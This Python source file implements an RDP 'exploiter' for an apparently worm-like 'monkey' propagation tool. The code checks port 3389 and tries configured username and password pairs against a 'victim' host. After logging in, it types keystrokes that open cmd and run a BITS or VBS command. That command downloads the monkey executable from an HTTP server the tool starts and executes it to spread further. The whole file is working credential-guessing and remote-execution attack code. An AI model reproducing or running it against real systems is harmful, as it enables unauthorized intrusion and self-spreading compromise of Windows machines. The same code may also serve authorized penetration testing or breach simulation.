import os.path import threading import time from logging import getLogger import rdpy.core.log as rdpy_log import twisted.python.log from rdpy.core.error import RDPSecurityNegoFail from rdpy.protocol.rdp import rdp from twisted.internet import reactor from exploit import HostExploiter from exploit.tools import HTTPTools, get_monkey_depth from exploit.tools import get_target_monkey from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS from network.tools import check_tcp_port from tools import build_monkey_commandline __author__ = 'hoffer' KEYS_INTERVAL = 0.1 MAX_WAIT_FOR_UPDATE = 120 KEYS_SENDER_SLEEP = 0.01 DOWNLOAD_TIMEOUT = 60 RDP_PORT = 3389 LOG = getLogger(__name__) def twisted_log_func(*message, **kw): if kw.get('isError'): error_msg = 'Unknown' if 'failure' in kw: error_msg = kw['failure'].getErrorMessage() LOG.error("Error from twisted library: %s" % (error_msg,)) else: LOG.debug("Message from twisted library: %s" % (str(message),)) def rdpy_log_func(message): LOG.debug("Message from rdpy library: %s" % (message,)) twisted.python.log.msg = twisted_log_func rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR rdpy_log.log = rdpy_log_func # thread for twisted reactor, create once. global g_reactor g_reactor = threading.Thread(target=reactor.run, args=(False,)) class ScanCodeEvent(object): def __init__(self, code, is_pressed=False, is_special=False): self.code = code self.is_pressed = is_pressed self.is_special = is_special class CharEvent(object): def __init__(self, char, is_pressed=False): self.char = char self.is_pressed = is_pressed class SleepEvent(object): def __init__(self, interval): self.interval = interval class WaitUpdateEvent(object): def __init__(self, updates=1): self.updates = updates pass def str_to_keys(orig_str): result = [] for c in orig_str: result.append(CharEvent(c, True)) result.append(CharEvent(c, False)) result.append(WaitUpdateEvent()) return result class KeyPressRDPClient(rdp.RDPClientObserver): def __init__(self, controller, keys, width, height, addr): super(KeyPressRDPClient, self).__init__(controller) self._keys = keys self._addr = addr self._update_lock = threading.Lock() self._wait_update = False self._keys_thread = threading.Thread(target=self._keysSender) self._keys_thread.daemon = True self._width = width self._height = height self._last_update = 0 self.closed = False self.success = False self._wait_for_update = None def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data): update_time = time.time() self._update_lock.acquire() self._last_update = update_time self._wait_for_update = False self._update_lock.release() def _keysSender(self): LOG.debug("Starting to send keystrokes") while True: if self.closed: return if len(self._keys) == 0: reactor.callFromThread(self._controller.close) LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port) return key = self._keys[0] self._update_lock.acquire() time_diff = time.time() - self._last_update if type(key) is WaitUpdateEvent: self._wait_for_update = True self._update_lock.release() key.updates -= 1 if key.updates == 0: self._keys = self._keys[1:] elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE): self._wait_for_update = False self._update_lock.release() if type(key) is ScanCodeEvent: reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, key.is_special) elif type(key) is CharEvent: reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed) elif type(key) is SleepEvent: time.sleep(key.interval) self._keys = self._keys[1:] else: self._update_lock.release() time.sleep(KEYS_SENDER_SLEEP) def onReady(self): time.sleep(1) reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), True) time.sleep(1) reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), False) time.sleep(1) pass def onClose(self): self.success = len(self._keys) == 0 self.closed = True def onSessionReady(self): LOG.debug("Logged in, session is ready for work") self._last_update = time.time() self._keys_thread.start() class CMDClientFactory(rdp.ClientFactory): def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359): self._username = username self._password = password self._domain = domain self._keyboard_layout = "en" # key sequence: WINKEY+R,cmd /v,Enter,&exit,Enter self._keys = [SleepEvent(1), ScanCodeEvent(91, True, True), ScanCodeEvent(19, True), ScanCodeEvent(19, False), ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \ [WaitUpdateEvent(), ScanCodeEvent(28, True), ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \ [WaitUpdateEvent(), ScanCodeEvent(28, True), ScanCodeEvent(28, False), WaitUpdateEvent()] self._optimized = optimized self._security = rdp.SecurityLevel.RDP_LEVEL_NLA self._nego = True self._client = None self._width = width self._height = height self.done_event = threading.Event() self.success = False def buildObserver(self, controller, addr): """ @summary: Build RFB observer We use a RDPClient as RDP observer @param controller: build factory and needed by observer @param addr: destination address @return: RDPClientQt """ # create client observer self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr) controller.setUsername(self._username) controller.setPassword(self._password) controller.setDomain(self._domain) controller.setKeyboardLayout(self._keyboard_layout) controller.setHostname(addr.host) if self._optimized: controller.setPerformanceSession() controller.setSecurityLevel(self._security) return self._client def clientConnectionLost(self, connector, reason): # try reconnect with basic RDP security if reason.type == RDPSecurityNegoFail and self._nego: LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" % (connector.host, connector.port)) # stop nego self._nego = False self._security = rdp.SecurityLevel.RDP_LEVEL_RDP connector.connect() return LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port)) self.success = self._client.success self.done_event.set() def clientConnectionFailed(self, connector, reason): LOG.debug("RDP connection to %s:%s failed, with error: %s" % (connector.host, connector.port, reason.getErrorMessage())) self.success = False self.done_event.set() class RdpExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] def __init__(self, host): super(RdpExploiter, self).__init__(host) self._config = __import__('config').WormConfiguration self._guid = __import__('config').GUID def is_os_supported(self): if super(RdpExploiter, self).is_os_supported(): return True if not self.host.os.get('type'): is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT) if is_open: self.host.os['type'] = 'windows' return True return False def exploit_host(self): global g_reactor is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT) if not is_open: LOG.info("RDP port is closed on %r, skipping", self.host) return False src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False # create server for http download. http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) if not http_path: LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.") return False LOG.info("Started http server on %s", http_path) cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) if self._config.rdp_use_vbs_download: command = RDP_CMDLINE_HTTP_VBS % { 'monkey_path': self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline} else: command = RDP_CMDLINE_HTTP_BITS % { 'monkey_path': self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline} user_password_pairs = self._config.get_exploit_user_password_pairs() if not g_reactor.is_alive(): g_reactor.daemon = True g_reactor.start() exploited = False for user, password in user_password_pairs: try: # run command using rdp. LOG.info("Trying RDP logging into victim %r with user %s and password '%s'", self.host, user, password) LOG.info("RDP connected to %r", self.host) client_factory = CMDClientFactory(user, password, "", command) reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory) client_factory.done_event.wait() if client_factory.success: exploited = True self.report_login_attempt(True, user, password) break else: # failed exploiting with this user/pass self.report_login_attempt(False, user, password) except Exception as exc: LOG.debug("Error logging into victim %r with user" " %s and password '%s': (%s)", self.host, user, password, exc) continue http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() if not exploited: LOG.debug("Exploiter RdpGrinder failed, rdp failed.") return False elif http_thread.downloads == 0: LOG.debug("Exploiter RdpGrinder failed, http download failed.") return False LOG.info("Executed monkey '%s' on remote victim %r", os.path.basename(src_path), self.host) return True